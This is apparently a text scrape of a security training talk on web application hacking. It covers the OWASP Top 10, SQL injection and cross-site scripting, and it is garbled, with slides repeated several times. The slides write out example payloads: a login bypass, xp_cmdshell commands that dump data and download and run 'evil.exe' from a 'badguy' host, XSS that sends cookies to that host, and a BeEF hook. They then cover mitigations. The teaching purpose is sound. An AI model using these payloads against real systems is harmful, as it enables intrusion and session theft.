What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 7: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

In facthellip

ldquoResearch has shown that the application

layer is responsible for over 90 percent of

all security vulnerabilities yet more than 80

percent of IT security spending continues to be

at the network layer primarily focused on

perimeter securityrdquo

- Ponemon Institute

The State of Application Security August 2013

7

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 8: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What is OWASP

bull Open Web Application Security Project

bull Promotes secure software development

bull Focused primarily on the ldquobackendrdquo rather

than web-design issues

bull An open forum for discussion

bull A free resource for any development team

8

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 9: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

OWASP Publications

bull Top 10 Web Application Security

Vulnerabilities

bull Updated about every three years

bull Addresses issues with web-based applications

bull Growing industry acceptance

bull Federal Trade Commission (US Gov)

bull US Defense Information Systems Agency

bull PCI Data Security Standard (PCI DSS)

9

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

